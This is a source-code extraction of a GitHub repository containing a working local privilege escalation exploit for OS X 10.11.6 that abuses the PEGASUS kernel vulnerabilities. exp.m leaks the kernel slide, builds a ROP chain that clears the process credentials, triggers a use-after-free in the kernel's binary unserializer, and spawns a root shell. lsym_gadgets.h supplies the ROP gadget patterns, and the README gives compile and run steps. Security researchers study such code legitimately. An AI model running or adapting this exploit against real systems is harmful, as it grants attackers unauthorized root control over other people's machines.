Repository: zhengmin1989/OS-X-10.11.6-Exp-via-PEGASUS
Branch: master
Commit: 07b2dcf72196
Files: 7
Total size: 23.7 KB
Directory structure:
gitextract_rt76s0s1/
├── Makefile
├── README.md
├── exp.m
├── import.h
├── lsym.h
├── lsym.m
└── lsym_gadgets.h
================================================
FILE CONTENTS
================================================
================================================
FILE: Makefile
================================================
TARGET = exp
all: $(TARGET)
CFLAGS = ""
FRAMEWORKS = -framework IOKit -framework Foundation -framework CoreFoundation
# Note that in addition to the standard flags we also need
#
# -m32 -Wl,-pagezero_size,0
#
# We need these flags because we are leveraging the use-after-free to generate
# a kernel NULL-pointer dereference. By mapping the NULL page in user space we
# ensure that when the kernel dereferences the NULL pointer it gets a value
# that we control. OS X does not allow 64-bit processes to map the NULL page;
# however, for legacy support, 32-bit processes can map the NULL page. In order
# to do so we generate a Mach-O executable without an initial __PAGEZERO
# segment protecting NULL. The "-m32" flag compiles the executable as 32-bit,
# while the "-Wl,-pagezero_size,0" flag causes the linker to not insert a
# __PAGEZERO segment in the final Mach-O executable.
$(TARGET): exp.m lsym.m
clang $(CFLAGS) $(FRAMEWORKS) -m32 -Wl,-pagezero_size,0 -O3 $^ -o $@
clean:
rm -f -- $(TARGET)
================================================
FILE: README.md
================================================
#Local privilege escalation for OS X 10.11.6 via PEGASUS
* Write up:
1. Chinese Version: https://jaq.alibaba.com/community/art/show?articleid=531
2. English Version: https://jaq.alibaba.com/community/art/show?articleid=532
* by Min(Spark) Zheng (twitter@SparkZheng, weibo@蒸米spark)
* Note:
1. If you want to test this exp, you should not install Security Update 2016-001
(like iOS 9.3.5 patch for PEGASUS).
2. I hardcoded a kernel address to calcuate kslide, it maybe different on your mac.
* Compile:
clang -framework IOKit -framework Foundation -framework CoreFoundation -m32 -Wl,-pagezero_size,0 -O3 exp.m lsym.m -o exp
* Run the exp:
MacBookPro:PEGASUS zhengmin$ ./exp
getting kslide...
kslide=0x8e00000
building the rop chain...
exploit the kernel...
sh-3.2# whoami
root
sh-3.2# uname -a
Darwin MacBookPro 15.6.0 Darwin Kernel Version 15.6.0: Thu Jun 23 18:25:34 PDT 2016; root:xnu-3248.60.10~1/RELEASE_X86_64 x86_64
* Special thanks to proteas, qwertyoruiop, windknown, aimin pan, jingle, liangchen, qoobee, etc.
* Reference:
1. http://blog.pangu.io/cve-2016-4655/
2. https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html
3. https://bazad.github.io/2016/05/mac-os-x-use-after-free/
4. https://github.com/kpwn/tpwn
================================================
FILE: exp.m
================================================
/* ******************************************************************************************
* Local privilege escalation for OS X 10.11.6 via PEGASUS
* by Min(Spark) Zheng @ Team OverSky (twitter@SparkZheng)
* Note: 1. If you want to test this exp, you should not install Security Update 2016-001
(like iOS 9.3.5 patch for PEGASUS).
2. I hardcoded a kernel address to calculate the kslide, it may be different on your mac.
* Special Thanks to proteas, qwertyoruiop, windknown, aimin pan, jingle, liangchen, qoobee, etc.
* Reference: 1. http://blog.pangu.io/cve-2016-4655/
2. https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html
3. https://bazad.github.io/2016/05/mac-os-x-use-after-free/
4. https://github.com/kpwn/tpwn
***************************************************************************************** */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
#import "import.h"
#import "lsym_gadgets.h"
static uint64_t kslide=0;
#define kOSSerializeBinarySignature "\323\0\0"
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
};
__attribute__((always_inline)) inline
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {
if (!pointer) return pointer;
return (lsym_slidden_kern_pointer_t) pointer + kslide;
}
__attribute__((always_inline)) static inline
uint64_t alloc(uint32_t addr, uint32_t sz) {
vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
while(sz--) *(char*)(addr+sz)=0;
return addr;
}
int buildropchain()
{
printf("building the rop chain...\n");
//ropchain code from tpwn (https://github.com/kpwn/tpwn) and rootsh (https://github.com/bazad/rootsh)
lsym_map_t* mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel");
kernel_fake_stack_t* stack = calloc(1,sizeof(kernel_fake_stack_t));
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_current_proc");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_proc_ucred");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_posix_cred_get");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(int)*3)
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_thread_exception_return");
vm_address_t payload_addr = 0;
size_t size = 0x1000;
/* In case we are re-executing, deallocate the NULL page. */
vm_deallocate(mach_task_self(), payload_addr, size);
kern_return_t kr = vm_allocate(mach_task_self(), &payload_addr, size, 0);
if (kr != KERN_SUCCESS) {
printf("error: could not allocate NULL page for payload\n");
return 3;
}
uint64_t * vtable = (uint64_t *)payload_addr;
/* Virtual method 4 is called in the kernel with rax set to 0. */
vtable[0] = 0;
vtable[1] = 0;
vtable[2] = 0;
vtable[3] = ROP_POP_RAX(mapping_kernel);
vtable[4] = ROP_PIVOT_RAX(mapping_kernel);
vtable[5] = ROP_POP_RAX(mapping_kernel);
vtable[6] = 0;
vtable[7] = ROP_POP_RSP(mapping_kernel);
vtable[8] = (uint64_t)stack->__rop_chain;
return 0;
}
void getkaslr()
{
printf("getting kslide...\n");
kern_return_t err,kr;
io_iterator_t iterator;
static mach_port_t service = 0;
io_connect_t cnn = 0;
io_object_t obj=0;
io_iterator_t iter;
mach_port_t master = 0, res;
//<dict><key>min</key><number>0x4141414141414141</number></dict>
uint32_t data[] = {
0x000000d3,
0x81000001,
0x08000004, 0x006e696d,
0x84000200, //change the length of OSNumber
0x41414141, 0x41414141
};
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator);
service = IOIteratorNext(iterator);
kr = io_service_open_extended(service, mach_task_self(), 0, NDR_record, (char*)data, sizeof(data), &err, &cnn);
if (kr!=0)
{
printf("Cannot create service.\n");
return;
}
IORegistryEntryCreateIterator(service, "IOService", kIORegistryIterateRecursively, &iter);
io_object_t object = IOIteratorNext(iter);
char search_str[100] = {0};
sprintf(search_str, "pid %d", getpid());
char buffer[0x200] = {0};
while (object != 0)
{
uint32_t size = sizeof(buffer);
if (IORegistryEntryGetProperty(object, "IOUserClientCreator", buffer, &size) == 0)
{
if (strstr(buffer, search_str) != NULL)
{
memset(buffer,0, 0x200);
size=0x300;
//bcopy( bytes, buf, len ); in io_registry_entry_get_property_bytes()
//Use crafted OSNumber to leak stack information of the kernel
if (io_registry_entry_get_property_bytes(object, "min", buffer, &size)==0)
{
//cacluate the kslide
kslide = *((unsigned long long*)&buffer[56])-0xFFFFFF80003934BF; //macOS 10.11.6 (15G31) hardcode
printf("kslide=0x%llx\n",kslide);
break;
}
}
}
IOObjectRelease(object);
object = IOIteratorNext(iter);
}
if (object!=0)
IOObjectRelease(object);
}
void expkernel()
{
printf("exploit the kernel...\n");
char * data = malloc(1024);
uint32_t bufpos = 0;
mach_port_t master = 0, res;
kern_return_t kr;
/* create header */
memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
bufpos += sizeof(kOSSerializeBinarySignature);
//<dict><string>A</string><bool>true</bool><key>B</key><data>vtable data...</data><object>1</object></dict>
*(uint32_t *)(data+bufpos) = kOSSerializeDictionary | 0x80000000 | 0x10; bufpos += 4; //0
*(uint32_t *)(data+bufpos) = kOSSerializeString | 0x02; bufpos += 4; //1 string "A"
*(uint32_t *)(data+bufpos) = 0x00000041; bufpos += 4;
*(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 0x1; bufpos += 4; //2 bool "true"
*(uint32_t *)(data+bufpos) = kOSSerializeSymbol | 0x2; bufpos += 4; //3 symbol "B"
*(uint32_t *)(data+bufpos) = 0x00000042; bufpos += 4;
*(uint32_t *)(data+bufpos) = kOSSerializeData | 0x20; bufpos += 4; //4 vtable
*(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
*(uint32_t *)(data+bufpos) = kOSSerializeObject | 0x1; bufpos += 4; //5 Object refer to string "A"
host_get_io_master(mach_host_self(), &master);
kr = io_service_get_matching_services_bin(master, data, bufpos, &res); //trigger the UAF vul
free(data);
}
int main(int argc, char * argv[])
{
printf("*********************************************************************\n");
printf("Local privilege escalation for OS X 10.11.6 via PEGASUS \n");
printf("by Min(Spark) Zheng @ Team OverSky (twitter@SparkZheng)\n");
printf("*********************************************************************\n");
getkaslr();
if (kslide==0)
return -1;
sleep(1);
if (buildropchain()!=0)
return -1;
sleep(1);
expkernel();
argv[0] = "/bin/sh";
execve(argv[0], argv, NULL);
printf("error: could not exec shell\n");
return 0;
}
================================================
FILE: import.h
================================================
#ifndef pwn_import_h
#define pwn_import_h
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
#include <dlfcn.h>
#include <string.h>
#include <mach/mach_types.h>
#include <mach-o/loader.h>
#include <sys/types.h>
#include <mach-o/nlist.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "lsym.h"
#include "lsym_gadgets.h"
#endif
================================================
FILE: lsym.h
================================================
#ifndef __pwn__lsym__
#define __pwn__lsym__
#include <stdio.h>
#include "import.h"
#define JUNK_VALUE 0x1337133713371337
typedef struct kernel_fake_stack {
uint64_t __cnt;
uint64_t __padding[0x499];
uint64_t __rop_chain[0x500];
} kernel_fake_stack_t;
#define LSYM_PAYLOAD_VTABLE 1
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);
typedef struct lsym_map {
void* map;
const char* path;
size_t sz;
} lsym_map_t;
typedef enum {
LSYM_DO_NOT_REBASE = (1 << 0)
} lsym_gadget_flags;
typedef uint64_t lsym_map_pointer_t;
typedef uint64_t lsym_kern_pointer_t;
typedef uint64_t lsym_slidden_kern_pointer_t;
typedef uint64_t lsym_offset_t;
lsym_kern_pointer_t kext_pointer(const char* identifier);
lsym_map_t *lsym_map_file(const char *path);
lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name);
lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags);
lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping);
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer);
lsym_offset_t lsym_vm_addrperm();
typedef struct kernel_exploit_vector kernel_exploit_vector_t;
#endif /* defined(__pwn__lsym__) */
================================================
FILE: lsym.m
================================================
#include "lsym.h"
#import <Foundation/Foundation.h>
#include <IOKit/IOKitLib.h>
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
#ifdef FIND_KERNEL_SLIDE
static lsym_offset_t kaslr_slide=0;
static char kaslr_slide_found =0;
#endif
__attribute__((always_inline))
lsym_kern_pointer_t kext_pointer(const char* identifier){
return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue];
}
__attribute__((always_inline))
lsym_map_t *lsym_map_file(const char *path) {
int fd=open(path, O_RDONLY);
if(fd < 0) return 0;
struct stat sb;
fstat(fd, &sb);
if (sb.st_size < 0x1000) {
return 0;
}
void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0);
lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t));
ret->map = map;
ret->path = path;
ret->sz = sb.st_size & 0xFFFFFFFF;
return ret;
}
__attribute__((always_inline))
lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) {
lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size);
if (!off) {
puts("[-] Couldn't find a ROP gadget, aborting.");
exit(1);
}
return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map));
}
__attribute__((always_inline))
lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) {
struct mach_header_64 *mh = mapping->map;
struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT);
return (lsym_kern_pointer_t)text->vmaddr;
}
__attribute__((always_inline))
lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) {
struct mach_header_64 *mh = mapping->map;
struct symtab_command *symtab = NULL;
struct segment_command_64 *linkedit = NULL;
/*
* Check header
*/
if (mh->magic != MH_MAGIC_64) {
return (lsym_kern_pointer_t)NULL;
}
/*
* Find the LINKEDIT and SYMTAB sections
*/
linkedit = find_segment_64(mh, SEG_LINKEDIT);
if (!linkedit) {
return (lsym_kern_pointer_t)NULL;
}
symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB);
if (!symtab) {
return (lsym_kern_pointer_t)NULL;
}
void* symtabp = symtab->stroff + 4 + (char*)mh;
void* symtabz = symtab->stroff + (char*)mh;
void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA;
uint32_t idx = 0;
while (symtabp < symendp) {
if(strcmp(symtabp, name) == 0) goto found;
symtabp += strlen((char*)symtabp) + 1;
idx++;
}
printf("[-] symbol %s not resolved.\n", name); exit(0);
return (lsym_kern_pointer_t)NULL;
found:;
struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh);
uint64_t strx = ((char*)symtabp - (char*)symtabz);
unsigned int symp = 0;
while(symp <= (symtab->nsyms)) {
uint32_t strix = *((uint32_t*)nlp);
if(strix == strx)
goto found1;
nlp ++; //sizeof(struct nlist_64);
symp++;
}
printf("[-] symbol not found: %s\n", name);
exit(-1);
found1:
//printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value);
return (lsym_kern_pointer_t)nlp->n_value;
}
__attribute__((always_inline))
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname)
{
struct load_command *lc;
struct segment_command_64 *s, *fs = NULL;
lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
if (lc->cmd == LC_SEGMENT_64) {
s = (struct segment_command_64 *)lc;
if (!strcmp(s->segname, segname)) {
fs = s;
break;
}
}
lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
}
return fs;
}
__attribute__((always_inline))
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name)
{
struct section_64 *sect, *fs = NULL;
uint32_t i = 0;
for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64));
i < seg->nsects;
i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64)))
{
if (!strcmp(sect->sectname, name)) {
fs = sect;
break;
}
}
return fs;
}
__attribute__((always_inline))
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd)
{
struct load_command *lc, *flc;
lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
if (lc->cmd == cmd) {
flc = (struct load_command *)lc;
break;
}
lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
}
return flc;
}
================================================
FILE: lsym_gadgets.h
================================================
#ifndef ROP_PIVOT_RAX
/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */
#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name))
/* ROP gadgets present in 10.10 */
// stack pivot
#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0)
#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0)
#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0)
#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0)
#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0)
#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0)
#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0)
// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts).
// how the fuck do these gadgets even exist lmao
#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0);
#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0);
#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget.
#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0);
#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0)
#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0)
#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0)
#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0)
#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0)
#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0)
#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0)
#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0)
#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0)
#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0)
#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0)
#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0)
// register control
#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0)
#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0)
#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0)
#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0)
#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0)
#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0)
#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0)
#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0)
#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0)
#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0)
// write gadgets
#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0)
#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0)
// read gadget
#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0)
// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents.
#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0);
// helpers
#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++]
#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value;
#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value;
#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value;
#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value;
#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE;
#endif
gitextract_rt76s0s1/ ├── Makefile ├── README.md ├── exp.m ├── import.h ├── lsym.h ├── lsym.m └── lsym_gadgets.h
SYMBOL INDEX (14 symbols across 1 files)
FILE: lsym.h
type kernel_fake_stack_t (line 10) | typedef struct kernel_fake_stack {
type segment_command_64 (line 18) | struct segment_command_64
type mach_header_64 (line 18) | struct mach_header_64
type section_64 (line 19) | struct section_64
type segment_command_64 (line 19) | struct segment_command_64
type load_command (line 20) | struct load_command
type mach_header_64 (line 20) | struct mach_header_64
type lsym_map_t (line 22) | typedef struct lsym_map {
type lsym_gadget_flags (line 28) | typedef enum {
type lsym_map_pointer_t (line 32) | typedef uint64_t lsym_map_pointer_t;
type lsym_kern_pointer_t (line 33) | typedef uint64_t lsym_kern_pointer_t;
type lsym_slidden_kern_pointer_t (line 34) | typedef uint64_t lsym_slidden_kern_pointer_t;
type lsym_offset_t (line 35) | typedef uint64_t lsym_offset_t;
type kernel_exploit_vector_t (line 45) | typedef struct kernel_exploit_vector kernel_exploit_vector_t;
Condensed preview — 7 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (25K chars).
[
{
"path": "Makefile",
"chars": 1003,
"preview": "TARGET = exp\n\nall: $(TARGET)\n\nCFLAGS = \"\"\nFRAMEWORKS = -framework IOKit -framework Foundation -framework CoreFoundation\n"
},
{
"path": "README.md",
"chars": 1467,
"preview": "#Local privilege escalation for OS X 10.11.6 via PEGASUS\n\n * Write up: \n 1. Chinese Version: https://jaq.aliba"
},
{
"path": "exp.m",
"chars": 8405,
"preview": "/* ******************************************************************************************\n \n * Local privilege escal"
},
{
"path": "import.h",
"chars": 617,
"preview": "#ifndef pwn_import_h\n#define pwn_import_h\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint."
},
{
"path": "lsym.h",
"chars": 1519,
"preview": "#ifndef __pwn__lsym__\n#define __pwn__lsym__\n\n#include <stdio.h>\n#include \"import.h\"\n\n#define JUNK_VALUE 0x13371337133713"
},
{
"path": "lsym.m",
"chars": 5494,
"preview": "#include \"lsym.h\"\n#import <Foundation/Foundation.h>\n\n#include <IOKit/IOKitLib.h>\n\nstruct segment_command_64 *find_segmen"
},
{
"path": "lsym_gadgets.h",
"chars": 5779,
"preview": "#ifndef ROP_PIVOT_RAX\n/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */\n\n#define RESOLVE_SYMBOL(map, name) ls"
}
]
About this extraction
This page contains the full source code of the zhengmin1989/OS-X-10.11.6-Exp-via-PEGASUS GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 7 files (23.7 KB), approximately 8.4k tokens, and a symbol index with 14 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.